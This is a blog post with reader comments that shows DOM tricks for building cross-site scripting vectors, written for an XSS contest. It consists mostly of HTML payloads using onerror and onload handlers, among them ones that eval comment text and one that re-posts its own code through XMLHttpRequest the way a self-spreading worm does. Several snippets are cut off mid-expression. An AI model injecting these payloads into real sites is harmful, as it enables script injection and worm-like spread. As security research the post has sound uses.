DOM for hackers

It’s amazing the stuff I’ve been finding recently, my browser has crashed more times than windoze. In this article I’ll introduce you to using the DOM for unexpected things and hacking it to your advantage. I’ve learned all this new stuff while hacking a vectors for the slackers XSS contest which is really fun.

Contents of a script tag

You can get the contents of a script tag within DOM like this:-

<script id="x">alert(document.getElementById('x').

Replacing tags

It’s quite easy to replace one tag with another in ways the browser didn’t expect, check the following example:-

<form><iframe onload="parentNode.innerHTML=(s=parentNode.innerHTML)
.replace(/iframe/g,'input'),value=s" name="content"></iframe>

Posting forms

There are lots of shortcuts for posting forms with dom, here I show how to use a image tag to automatically create a form and post content.

<img src="" onerror="with(appendChild(createElement('form')))

Comment hacking

You can also get the contents of comments in DOM like this:-

<!-- test --><img src="" onerror="alert(previousSibling.nodeValue)">

Even evaluate the resulting string:-

<!-- alert('Hello') --><img src="" onerror="eval(previousSibling.nodeValue)">

Entity hacking

You can also do the same with entities 🙂

&Hello<img src="" onerror="alert(previousSibling.nodeValue.replace('&',''))">

and even this:-

&iframe onload=alert(1)><img src="" onerror="innerHTML=previousSibling.nodeValue.replace('&','<')">

Self referencing code

You can get the contents of a attribute and create a self referencing tag that requires no parent:-

<img src="" onerror="alert('XSS');with(new XMLHttpRequest)open('POST','post.php'),
send('content='<img src=%22%22 onerror=%22'+attributes[0].nodeValue+'%22>')">

This example uses a XHR object to perform a post, the XHR portion of this vector was constructed by a lot of cool people on the slackers XSS contest.

Here’s another example that I discovered:-

<img src="" onerror="appendChild(cloneNode(0));alert(innerHTML)">

DOM recursion

Finally it’s also possible to make a tag clone itself onto itself:-

<img src="" onerror="appendChild(cloneNode(1))">

8 Responses to “DOM for hackers”

  1. vindic writes:

    again fantastic. very nice post

  2. dancerinfire writes:

    it’s brilliant article

  3. Adam writes:

    Kudos for the article.

  4. Gareth Heyes writes:

    Thanks for the kind words, I’m glad you enjoyed the article 🙂

    I’ll be publishing more stuff soon, checkout the self referencing image:-
    <img src=”” onerror=”appendChild(cloneNode(0));alert(innerHTML)”>

  5. ascii writes:

    thanks Gareth, really appreciated

  6. greg writes:

    Hi. The ‘Contents of a script tag’ doesn’t seem to work for me in IE… should it? Cheers.

  7. Gareth Heyes writes:


    Hi I didn’t test the vectors on IE sorry but maybe try:-
    <script id=”x”>alert(document.getElementById(‘x’).

    I don’t really use windoze you see.

  8. Greg writes:

    Thanks for trying, but it didn’t work.
    I was looking for a way to ‘extract’ function names from a script loaded via src=url, that worked cross-browsers.
    God, my head hurts… Time for a cool beer.

    BTW I typed a longer reply before, but got a ‘no comment spam here’ message.